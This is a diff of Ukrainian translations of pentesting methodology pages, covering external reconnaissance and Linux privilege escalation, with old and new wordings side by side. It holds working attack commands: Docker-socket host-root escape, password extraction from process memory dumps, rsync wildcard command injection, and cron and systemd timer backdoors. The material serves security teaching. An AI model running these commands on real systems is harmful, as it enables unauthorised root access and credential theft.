Перевірте наявність деякого [захоплення домену](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Можливо, якась компанія **використовує якийсь домен**, але вони **втратили право власності**. Просто зареєструйте його (якщо достатньо дешевий) і дайте знати компанії.
Якщо ви знайдете будь-який **домен з IP, відмінним** від тих, які ви вже знайшли під час виявлення активів, вам слід виконати **базове сканування вразливостей** (використовуючи Nessus або OpenVAS) і деяке [**сканування портів**](../pentesting-network/#discovering-hosts-from-the-outside) з **nmap/masscan/shodan**. Залежно від того, які сервіси працюють, ви можете знайти в **цьому посібнику деякі хитрощі для "атаки" на них**.\
&#xNAN;_&#x4E;ote, що іноді домен розміщений всередині IP, який не контролюється клієнтом, тому він не входить до сфери дії, будьте обережні._
&#xNAN;_&#x4E;ote, що іноді домен розміщений на IP, який не контролюється клієнтом, тому він не входить до сфери дії, будьте обережні._
## Піддомени
@ -260,7 +258,7 @@ theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferov
## This is the API the crobat tool will use
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
```
- [**JLDC безкоштовний API**](https://jldc.me/anubis/subdomains/google.com)
- [**JLDC безкоштовне API**](https://jldc.me/anubis/subdomains/google.com)
```bash
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
```
@ -284,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
- [**gau**](https://github.com/lc/gau)**:** отримує відомі URL-адреси з Open Threat Exchange AlienVault, Wayback Machine та Common Crawl для будь-якого заданого домену.
- [**gau**](https://github.com/lc/gau)**:** отримує відомі URL з Open Threat Exchange AlienVault, Wayback Machine та Common Crawl для будь-якого заданого домену.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@ -397,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ є фуззером для брутфорсу піддоменів, поєднаним з надзвичайно простим, але ефективним алгоритмом, що керується відповіддю DNS. Він використовує наданий набір вхідних даних, таких як спеціально підібраний список слів або історичні записи DNS/TLS, щоб точно синтезувати більше відповідних доменних імен і розширювати їх ще більше в циклі на основі інформації, зібраної під час сканування DNS.
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ є фуззером для брутфорсу піддоменів, поєднаним з надзвичайно простим, але ефективним алгоритмом, що керується відповідями DNS. Він використовує наданий набір вхідних даних, таких як спеціально підібраний список слів або історичні записи DNS/TLS, щоб точно синтезувати більше відповідних доменних імен і розширювати їх ще далі в циклі на основі інформації, зібраної під час сканування DNS.
```
echo www | subzuf facebook.com
```
@ -405,9 +403,13 @@ echo www | subzuf facebook.com
Перегляньте цей блог-пост, який я написав про те, як **автоматизувати виявлення піддоменів** з домену, використовуючи **Trickest workflows**, щоб мені не потрібно було вручну запускати купу інструментів на моєму комп'ютері:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
{{#ref}}
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
{{#endref}}
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
{{#ref}}
https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
{{#endref}}
### **VHosts / Віртуальні хости**
@ -456,12 +458,12 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
Перевірте на можливі [**взяття субдоменів під контроль**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Якщо **субдомен** вказує на якийсь **S3 бакет**, [**перевірте дозволи**](../../network-services-pentesting/pentesting-web/buckets/).
Якщо ви знайдете будь-який **субдомен з IP, відмінним** від тих, що ви вже знайшли під час виявлення активів, вам слід виконати **базове сканування вразливостей** (використовуючи Nessus або OpenVAS) і деяке [**сканування портів**](../pentesting-network/#discovering-hosts-from-the-outside) з **nmap/masscan/shodan**. Залежно від того, які сервіси працюють, ви можете знайти в **цьому посібнику деякі трюки для "атаки" на них**.\
&#xNAN;_&#x4E;ote що іноді субдомен розміщується на IP, який не контролюється клієнтом, тому він не входить в обсяг, будьте обережні._
Якщо ви знайдете будь-який **субдомен з IP, відмінним** від тих, що ви вже знайшли під час виявлення активів, вам слід виконати **базове сканування вразливостей** (використовуючи Nessus або OpenVAS) і деяке [**сканування портів**](../pentesting-network/#discovering-hosts-from-the-outside) з **nmap/masscan/shodan**. Залежно від того, які сервіси працюють, ви можете знайти в **цьому посібнику деякі хитрощі для "атаки" на них**.\
&#xNAN;_&#x4E;ote that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
## IPs
На початкових етапах ви, можливо, **знайшли деякі діапазони IP, домени та субдомени**.\
На початкових етапах ви могли **знайти деякі діапазони IP, домени та субдомени**.\
Час **зібрати всі IP з цих діапазонів** та для **доменів/субдоменів (DNS запити).**
Використовуючи сервіси з наступних **безкоштовних API**, ви також можете знайти **попередні IP, які використовувалися доменами та субдоменами**. Ці IP можуть все ще належати клієнту (і можуть дозволити вам знайти [**обхідні шляхи CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
@ -480,9 +482,9 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
> Ми знайшли всі компанії та їх активи, і ми знаємо діапазони IP, домени та субдомени в межах обсягу. Час шукати веб-сервери.
На попередніх етапах ви, ймовірно, вже виконали деяке **розвідку виявлених IP та доменів**, тому ви могли **вже знайти всі можливі веб-сервери**. Однак, якщо ви цього не зробили, ми зараз розглянемо деякі **швидкі трюки для пошуку веб-серверів** в межах обсягу.
На попередніх етапах ви, ймовірно, вже виконали деяке **розвідку виявлених IP та доменів**, тому ви могли **вже знайти всі можливі веб-сервери**. Однак, якщо ви цього не зробили, ми зараз розглянемо деякі **швидкі хитрощі для пошуку веб-серверів** в межах обсягу.
Будь ласка, зверніть увагу, що це буде **орієнтовано на виявлення веб-додатків**, тому вам слід **виконати сканування вразливостей** та **сканування портів** також (**якщо дозволено** обсягом).
Зверніть увагу, що це буде **орієнтовано на виявлення веб-додатків**, тому вам слід **виконати сканування вразливостей** та **сканування портів** також (**якщо дозволено** обсягом).
**Швидкий метод** для виявлення **відкритих портів**, пов'язаних з **веб** серверами, використовуючи [**masscan** можна знайти тут](../pentesting-network/#http-port-discovery).\
Ще один зручний інструмент для пошуку веб-серверів - це [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) та [**httpx**](https://github.com/projectdiscovery/httpx). Ви просто передаєте список доменів, і він спробує підключитися до порту 80 (http) та 443 (https). Додатково, ви можете вказати спробувати інші порти:
@ -496,11 +498,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
Для реалізації запропонованої ідеї ви можете використовувати [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) або [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Більше того, ви можете використовувати [**eyeballer**](https://github.com/BishopFox/eyeballer), щоб переглянути всі **скриншоти** і дізнатися, **що, ймовірно, міститиме вразливості**, а що ні.
Більше того, ви можете використовувати [**eyeballer**](https://github.com/BishopFox/eyeballer), щоб переглянути всі **скриншоти** і вказати, **що, ймовірно, міститиме вразливості**, а що ні.
## Публічні хмарні активи
Щоб знайти потенційні хмарні активи, що належать компанії, вам слід **почати зі списку ключових слів, які ідентифікують цю компанію**. Наприклад, для криптокомпанії ви можете використовувати такі слова: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Щоб знайти потенційні хмарні активи, що належать компанії, вам слід **почати з переліку ключових слів, які ідентифікують цю компанію**. Наприклад, для криптокомпанії ви можете використовувати такі слова: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Вам також знадобляться словники **поширених слів, що використовуються в бакетах**:
@ -508,7 +510,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
Потім, з цими словами, вам слід згенерувати **пермутації** (перевірте [**Другий раунд DNS брутфорсу**](./#second-dns-bruteforce-round) для отримання додаткової інформації).
Потім, з цими словами, ви повинні згенерувати **пермутації** (перевірте [**Другий раунд DNS брутфорсу**](./#second-dns-bruteforce-round) для отримання додаткової інформації).
З отриманими словниками ви можете використовувати такі інструменти, як [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **або** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
@ -529,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **Шукання вразливостей**
Електронні листи знадобляться пізніше для **брутфорсу веб-логінів та авторизаційних сервісів** (таких як SSH). Крім того, вони потрібні для **фішингу**. Більше того, ці API нададуть вам ще більше **інформації про особу**, що стоїть за електронною поштою, що корисно для фішингової кампанії.
Електронні листи знадобляться пізніше для **брутфорсу веб-логінів та авторизаційних сервісів** (таких як SSH). Крім того, вони потрібні для **фішингів**. Більше того, ці API нададуть вам ще більше **інформації про особу**, що стоїть за електронною поштою, що корисно для фішингової кампанії.
## Витоки облікових даних
@ -546,10 +548,10 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
Витоки облікових даних пов'язані з злом компаній, де **конфіденційна інформація була витікала та продавалася**. Однак компанії можуть бути піддані **іншим витокам**, інформація про які не міститься в цих базах даних:
### Витоки Github
### Витоки з Github
Облікові дані та API можуть бути витікали в **публічних репозиторіях** **компанії** або **користувачів**, які працюють на цю компанію в github.\
Ви можете використовувати **інструмент** [**Leakos**](https://github.com/carlospolop/Leakos), щоб **завантажити** всі **публічні репозиторії** **організації** та її **розробників** і автоматично запустити [**gitleaks**](https://github.com/zricethezav/gitleaks) на них.
Ви можете використовувати **інструмент** [**Leakos**](https://github.com/carlospolop/Leakos), щоб **завантажити** всі **публічні репозиторії** **організації** та її **розробників** та автоматично запустити [**gitleaks**](https://github.com/zricethezav/gitleaks) на них.
**Leakos** також можна використовувати для запуску **gitleaks** проти всього **тексту**, наданого **URL-адресами**, оскільки іноді **веб-сторінки також містять секрети**.
@ -561,16 +563,16 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
github-leaked-secrets.md
{{#endref}}
### Витоки Pastes
### Витоки з Paste
Іноді зловмисники або просто працівники **публікують вміст компанії на сайті паст**. Це може або не може містити **конфіденційну інформацію**, але це дуже цікаво шукати.\
Ви можете використовувати інструмент [**Pastos**](https://github.com/carlospolop/Pastos), щоб шукати більш ніж на 80 сайтах паст одночасно.
Іноді зловмисники або просто працівники **публікують вміст компанії на сайті для вставок**. Це може або не може містити **конфіденційну інформацію**, але це дуже цікаво шукати.\
Ви можете використовувати інструмент [**Pastos**](https://github.com/carlospolop/Pastos), щоб шукати більш ніж на 80 сайтах для вставок одночасно.
### Dorks Google
Старі, але золоті dorks Google завжди корисні для знаходження **викритої інформації, якої не повинно бути**. Єдина проблема в тому, що [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) містить кілька **тисяч** можливих запитів, які ви не можете виконати вручну. Тож ви можете взяти свої улюблені 10 або ви можете використовувати **інструмент, такий як** [**Gorks**](https://github.com/carlospolop/Gorks), **щоб запустити їх усі**.
Старі, але золоті dorks Google завжди корисні для знаходження **викритої інформації, якої не повинно бути**. Єдина проблема в тому, що [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) містить кілька **тисяч** можливих запитів, які ви не можете виконати вручну. Тож ви можете взяти свої улюблені 10 або ви можете використовувати **інструмент, такий як** [**Gorks**](https://github.com/carlospolop/Gorks) **для їх виконання**.
_Зверніть увагу, що інструменти, які очікують запустити всю базу даних, використовуючи звичайний браузер Google, ніколи не закінчаться, оскільки Google заблокує вас дуже-дуже швидко._
_Зверніть увагу, що інструменти, які намагаються виконати всю базу даних, використовуючи звичайний браузер Google, ніколи не закінчаться, оскільки Google заблокує вас дуже-дуже швидко._
### **Шукання вразливостей**
@ -594,9 +596,9 @@ _Зверніть увагу, що інструменти, які очікуют
**Більшість вразливостей**, виявлених мисливцями за помилками, знаходяться всередині **веб-додатків**, тому на цьому етапі я хотів би поговорити про **методологію тестування веб-додатків**, і ви можете [**знайти цю інформацію тут**](../../network-services-pentesting/pentesting-web/).
Я також хочу зробити особливе зауваження до розділу [**Автоматизовані сканери веб-відкритого коду**](../../network-services-pentesting/pentesting-web/#automatic-scanners), оскільки, якщо ви не повинні очікувати, що вони знайдуть вам дуже чутливі вразливості, вони стануть у нагоді для реалізації їх у **робочих процесах, щоб отримати деяку початкову веб-інформацію.**
Я також хочу зробити особливе зауваження до розділу [**Веб автоматизовані сканери відкритих джерел**](../../network-services-pentesting/pentesting-web/#automatic-scanners), оскільки, якщо ви не повинні очікувати, що вони знайдуть вам дуже чутливі вразливості, вони стануть у нагоді для реалізації їх у **робочих процесах, щоб отримати деяку початкову веб-інформацію.**
## Рекапітуляція
## Резюме
> Вітаємо! На цьому етапі ви вже виконали **всі основні перерахування**. Так, це базове, оскільки можна виконати ще багато перерахувань (пізніше побачимо більше трюків).
@ -612,7 +614,7 @@ _Зверніть увагу, що інструменти, які очікуют
8. **Електронні листи**, **витоки облікових даних** та **витоки секретів**, які можуть дати вам **велику перемогу дуже легко**.
9. **Пентестинг всіх веб-сайтів, які ви знайшли**
## **Повні автоматичні інструменти розвідки**
## **Повні автоматизовані інструменти розвідки**
Існує кілька інструментів, які виконуватимуть частину запропонованих дій проти заданого обсягу.

View File

@ -6,7 +6,7 @@
### OS info
Давайте почнемо з отримання деякої інформації про ОС, що працює
Давайте почнемо з отримання деякої інформації про операційну систему, що працює
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@ -26,7 +26,7 @@ echo $PATH
```
### Kernel exploits
Перевірте версію ядра та чи існує якийсь експлойт, який можна використати для ескалації привілеїв.
Перевірте версію ядра та чи є якісь експлойти, які можна використати для ескалації привілеїв.
```bash
cat /proc/version
uname -a
@ -79,7 +79,7 @@ sudo -u#-1 /bin/bash
```bash
dmesg 2>/dev/null | grep "signature"
```
### Більше системної енумерації
### Більше перерахунку системи
```bash
date 2>/dev/null #Date
(df -h || lsblk) #System stats
@ -131,7 +131,7 @@ docker-security/
## Drives
Перевірте **що змонтовано і розмонтовано**, де і чому. Якщо щось розмонтовано, ви можете спробувати змонтувати це і перевірити на наявність приватної інформації.
Перевірте **що змонтовано та не змонтовано**, де і чому. Якщо щось не змонтовано, ви можете спробувати змонтувати це і перевірити на наявність приватної інформації.
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@ -162,27 +162,27 @@ rpm -qa #Centos
## Процеси
Подивіться на **які процеси** виконуються та перевірте, чи має який-небудь процес **більше привілеїв, ніж повинен** (можливо, tomcat виконується від імені root?)
Подивіться на **які процеси** виконуються і перевірте, чи має який-небудь процес **більше привілеїв, ніж повинен** (можливо, tomcat виконується від імені root?)
```bash
ps aux
ps -ef
top -n 1
```
Завжди перевіряйте наявність [**electron/cef/chromium debuggers**], які працюють, ви можете зловживати цим для ескалації привілеїв](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляють їх, перевіряючи параметр `--inspect` у командному рядку процесу.\
Завжди перевіряйте наявність можливих [**electron/cef/chromium debuggers**], які працюють, ви можете зловживати цим для підвищення привілеїв](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляють їх, перевіряючи параметр `--inspect` у командному рядку процесу.\
Також **перевірте свої привілеї над бінарними файлами процесів**, можливо, ви зможете перезаписати когось.
### Моніторинг процесів
Ви можете використовувати інструменти, такі як [**pspy**](https://github.com/DominicBreuker/pspy), для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, які виконуються часто або коли виконуються певні умови.
Ви можете використовувати інструменти, такі як [**pspy**](https://github.com/DominicBreuker/pspy), для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, які виконуються часто або коли виконуються певні вимоги.
### Пам'ять процесу
Деякі служби сервера зберігають **облікові дані у відкритому тексті в пам'яті**.\
Зазвичай вам потрібні **привілеї root**, щоб читати пам'ять процесів, які належать іншим користувачам, тому це зазвичай більш корисно, коли ви вже є root і хочете виявити більше облікових даних.\
Зазвичай вам знадобляться **root-привілеї**, щоб читати пам'ять процесів, які належать іншим користувачам, тому це зазвичай більш корисно, коли ви вже є root і хочете виявити більше облікових даних.\
Однак пам'ятайте, що **як звичайний користувач ви можете читати пам'ять процесів, якими володієте**.
> [!WARNING]
> Зверніть увагу, що в даний час більшість машин **не дозволяють ptrace за замовчуванням**, що означає, що ви не можете скинути інші процеси, які належать вашому непривабливому користувачу.
> Зверніть увагу, що в наш час більшість машин **не дозволяють ptrace за замовчуванням**, що означає, що ви не можете скинути інші процеси, які належать вашому непривабливому користувачу.
>
> Файл _**/proc/sys/kernel/yama/ptrace_scope**_ контролює доступність ptrace:
>
@ -266,10 +266,10 @@ Press Ctrl-C to end monitoring without terminating the process.
```
### Інструменти
Щоб скинути пам'ять процесу, ви можете використовувати:
Щоб вивантажити пам'ять процесу, ви можете використовувати:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну видалити вимоги до root і скинути процес, що належить вам
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну видалити вимоги до root і вивантажити процес, що належить вам
- Скрипт A.5 з [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (вимагається root)
### Облікові дані з пам'яті процесу
@ -297,7 +297,7 @@ strings *.dump | grep -i password
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Активні FTP з'єднання) | vsftpd |
| Apache2 (Активні сесії HTTP Basic Auth) | apache2 |
| OpenSSH (Активні SSH сесії - використання Sudo) | sshd: |
| OpenSSH (Активні сесії SSH - Використання Sudo) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@ -348,7 +348,7 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys
wildcards-spare-tricks.md
{{#endref}}
### Перезапис скрипта Cron і символічне посилання
### Перезапис скрипта cron і символічне посилання
Якщо ви **можете змінити скрипт cron**, що виконується від імені root, ви можете дуже легко отримати оболонку:
```bash
@ -364,11 +364,11 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
Ви можете моніторити процеси, щоб шукати процеси, які виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і підвищити привілеї.
Наприклад, щоб **моніторити кожні 0.1с протягом 1 хвилини**, **сортувати за менш виконуваними командами** та видалити команди, які виконувалися найбільше, ви можете зробити:
Наприклад, щоб **моніторити кожні 0.1с протягом 1 хвилини**, **сортувати за менш виконуваними командами** і видалити команди, які виконувалися найбільше, ви можете зробити:
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
**Ви також можете використовувати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (це буде моніторити та перераховувати кожен процес, що запускається).
**Ви також можете використовувати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (це буде моніторити та перераховувати кожен процес, який запускається).
### Невидимі cron завдання
@ -399,13 +399,13 @@ ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
Тоді створіть **виконуваний файл** з **тим самим ім'ям, що й відносний шлях до бінарного файлу** в папці системи systemd, в яку ви можете записувати, і коли служба буде запитана для виконання вразливої дії (**Почати**, **Зупинити**, **Перезавантажити**), ваш **бекдор буде виконано** (користувачі без привілеїв зазвичай не можуть запускати/зупиняти служби, але перевірте, чи можете ви використовувати `sudo -l`).
Тоді створіть **виконуваний файл** з **тим самим ім'ям, що й відносний шлях до бінарного файлу** в папці системи PATH, в яку ви можете записувати, і коли служба буде запитана для виконання вразливої дії (**Почати**, **Зупинити**, **Перезавантажити**), ваш **бекдор буде виконано** (звичайно, користувачі без привілеїв не можуть починати/зупиняти служби, але перевірте, чи можете ви використовувати `sudo -l`).
**Дізнайтеся більше про служби за допомогою `man systemd.service`.**
## **Таймери**
**Таймери** - це файли одиниць systemd, назва яких закінчується на `**.timer**`, які контролюють `**.service**` файли або події. **Таймери** можуть використовуватися як альтернатива cron, оскільки вони мають вбудовану підтримку календарних подій та монотонних подій і можуть виконуватися асинхронно.
**Таймери** - це файли одиниць systemd, назва яких закінчується на `**.timer**`, які контролюють `**.service**` файли або події. **Таймери** можуть використовуватися як альтернатива cron, оскільки вони мають вбудовану підтримку календарних подій і монотонних подій часу та можуть виконуватися асинхронно.
Ви можете перерахувати всі таймери за допомогою:
```bash
@ -413,13 +413,13 @@ systemctl list-timers --all
```
### Writable timers
Якщо ви можете змінити таймер, ви можете змусити його виконувати деякі екземпляри systemd.unit (як-от `.service` або `.target`)
Якщо ви можете змінити таймер, ви можете змусити його виконати деякі екземпляри systemd.unit (як `.service` або `.target`)
```bash
Unit=backdoor.service
```
У документації ви можете прочитати, що таке Unit:
> Юніт, який потрібно активувати, коли цей таймер спливає. Аргумент - це назва юніта, суфікс якого не ".timer". Якщо не вказано, це значення за замовчуванням є сервісом, який має таку ж назву, як юніт таймера, за винятком суфікса. (Див. вище.) Рекомендується, щоб назва юніта, який активується, і назва юніта таймера були однаковими, за винятком суфікса.
> Unit, який потрібно активувати, коли цей таймер спливає. Аргументом є ім'я юніта, суфікс якого не є ".timer". Якщо не вказано, це значення за замовчуванням є сервісом, який має таку ж назву, як юніт таймера, за винятком суфікса. (Див. вище.) Рекомендується, щоб ім'я юніта, який активується, і ім'я юніта таймера були однаковими, за винятком суфікса.
Отже, щоб зловживати цим дозволом, вам потрібно:
@ -446,10 +446,10 @@ Unix Domain Sockets (UDS) дозволяють **комунікацію проц
**Дізнайтеся більше про сокети за допомогою `man systemd.socket`.** У цьому файлі можна налаштувати кілька цікавих параметрів:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ці параметри різні, але підсумок використовується для **вказівки, де буде прослуховуватися** сокет (шлях до файлу сокета AF_UNIX, IPv4/6 та/або номер порту для прослуховування тощо)
- `Accept`: Приймає булевий аргумент. Якщо **true**, **екземпляр служби створюється для кожного вхідного з'єднання** і лише сокет з'єднання передається йому. Якщо **false**, всі сокети прослуховування самі **передаються запущеній одиниці служби**, і лише одна одиниця служби створюється для всіх з'єднань. Це значення ігнорується для датаграмних сокетів і FIFO, де одна одиниця служби безумовно обробляє весь вхідний трафік. **За замовчуванням false**. З міркувань продуктивності рекомендується писати нові демони лише в спосіб, який підходить для `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Приймає одну або кілька командних рядків, які **виконуються перед** або **після** того, як прослуховуючі **сокети**/FIFO **створені** та прив'язані відповідно. Перший токен командного рядка повинен бути абсолютним іменем файлу, за ним слідують аргументи для процесу.
- `Accept`: Приймає булевий аргумент. Якщо **істина**, **екземпляр служби створюється для кожного вхідного з'єднання** і лише сокет з'єднання передається йому. Якщо **хибність**, всі сокети прослуховування самі **передаються запущеній одиниці служби**, і лише одна одиниця служби створюється для всіх з'єднань. Це значення ігнорується для датаграмних сокетів і FIFO, де одна одиниця служби безумовно обробляє весь вхідний трафік. **За замовчуванням - хибність**. З міркувань продуктивності рекомендується писати нові демони лише в спосіб, який підходить для `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Приймає одну або кілька командних рядків, які **виконуються перед** або **після** того, як прослуховуючі **сокети**/FIFO **створені** та прив'язані відповідно. Перший токен командного рядка повинен бути абсолютним іменем файлу, за яким слідують аргументи для процесу.
- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються перед** або **після** того, як прослуховуючі **сокети**/FIFO **закриті** та видалені відповідно.
- `Service`: Вказує ім'я **одиниці служби**, **яку потрібно активувати** при **вхідному трафіку**. Ця настройка дозволена лише для сокетів з Accept=no. За замовчуванням це служба, яка має таку ж назву, як сокет (з заміненим суфіксом). У більшості випадків не повинно бути необхідності використовувати цю опцію.
- `Service`: Вказує ім'я **одиниці служби**, **яку потрібно активувати** при **вхідному трафіку**. Ця настройка дозволена лише для сокетів з Accept=no. За замовчуванням вона відповідає службі, яка має таку ж назву, як сокет (з заміною суфікса). У більшості випадків не повинно бути необхідності використовувати цю опцію.
### Записувані .socket файли
@ -485,15 +485,15 @@ socket-command-injection.md
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
Якщо сокет **відповідає HTTP** запитом, ви можете **спілкуватися** з ним і, можливо, **використати якусь вразливість**.
Якщо сокет **відповідає HTTP** запитом, ви можете **спілкуватися** з ним і, можливо, **використати деяку вразливість**.
### Записуваний Docker Socket
Docker сокет, зазвичай розташований за адресою `/var/run/docker.sock`, є критично важливим файлом, який слід захистити. За замовчуванням, він доступний для запису користувачу `root` та членам групи `docker`. Наявність доступу на запис до цього сокету може призвести до підвищення привілеїв. Ось розгляд того, як це можна зробити, а також альтернативні методи, якщо Docker CLI недоступний.
Docker сокет, зазвичай розташований за адресою `/var/run/docker.sock`, є критично важливим файлом, який слід захистити. За замовчуванням, він доступний для запису користувачу `root` та членам групи `docker`. Наявність доступу на запис до цього сокета може призвести до підвищення привілеїв. Ось розгляд того, як це можна зробити, а також альтернативні методи, якщо Docker CLI недоступний.
#### **Підвищення привілеїв за допомогою Docker CLI**
Якщо у вас є доступ на запис до Docker сокету, ви можете підвищити привілеї, використовуючи наступні команди:
Якщо у вас є доступ на запис до Docker сокета, ви можете підвищити привілеї, використовуючи наступні команди:
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
@ -522,7 +522,7 @@ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.so
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
```
3. **Приєднатися до контейнера:** Використовуйте `socat`, щоб встановити з'єднання з контейнером, що дозволяє виконувати команди в ньому.
3. **Приєднатися до контейнера:** Використовуйте `socat`, щоб встановити з'єднання з контейнером, що дозволяє виконувати команди всередині нього.
```bash
socat - UNIX-CONNECT:/var/run/docker.sock
@ -562,11 +562,11 @@ runc-privilege-escalation.md
## **D-Bus**
D-Bus - це складна **система міжпроцесорної комунікації (IPC)**, яка дозволяє додаткам ефективно взаємодіяти та обмінюватися даними. Розроблена з урахуванням сучасної системи Linux, вона пропонує надійну структуру для різних форм комунікації між додатками.
D-Bus є складною **системою міжпроцесорної комунікації (IPC)**, яка дозволяє додаткам ефективно взаємодіяти та обмінюватися даними. Розроблена з урахуванням сучасної системи Linux, вона пропонує надійну структуру для різних форм комунікації між додатками.
Система є універсальною, підтримуючи базову IPC, яка покращує обмін даними між процесами, нагадуючи **покращені сокети домену UNIX**. Крім того, вона допомагає у трансляції подій або сигналів, сприяючи безшовній інтеграції між компонентами системи. Наприклад, сигнал від демона Bluetooth про вхідний дзвінок може змусити музичний плеєр вимкнути звук, покращуючи досвід користувача. Крім того, D-Bus підтримує систему віддалених об'єктів, спрощуючи запити на послуги та виклики методів між додатками, спрощуючи процеси, які традиційно були складними.
Система є універсальною, підтримуючи базову IPC, яка покращує обмін даними між процесами, нагадуючи **покращені сокети домену UNIX**. Крім того, вона допомагає у трансляції подій або сигналів, сприяючи безперебійній інтеграції між компонентами системи. Наприклад, сигнал від Bluetooth-демона про вхідний дзвінок може змусити музичний плеєр вимкнути звук, покращуючи досвід користувача. Крім того, D-Bus підтримує систему віддалених об'єктів, спрощуючи запити на послуги та виклики методів між додатками, спрощуючи процеси, які традиційно були складними.
D-Bus працює за моделлю **дозволу/заборони**, керуючи дозволами на повідомлення (виклики методів, випромінювання сигналів тощо) на основі кумулятивного ефекту відповідності політикам. Ці політики визначають взаємодії з шиною, потенційно дозволяючи підвищення привілеїв через експлуатацію цих дозволів.
D-Bus працює за моделлю **дозволу/заборони**, керуючи дозволами на повідомлення (виклики методів, випуск сигналів тощо) на основі кумулятивного ефекту відповідних правил політики. Ці політики визначають взаємодії з шиною, потенційно дозволяючи підвищення привілеїв через експлуатацію цих дозволів.
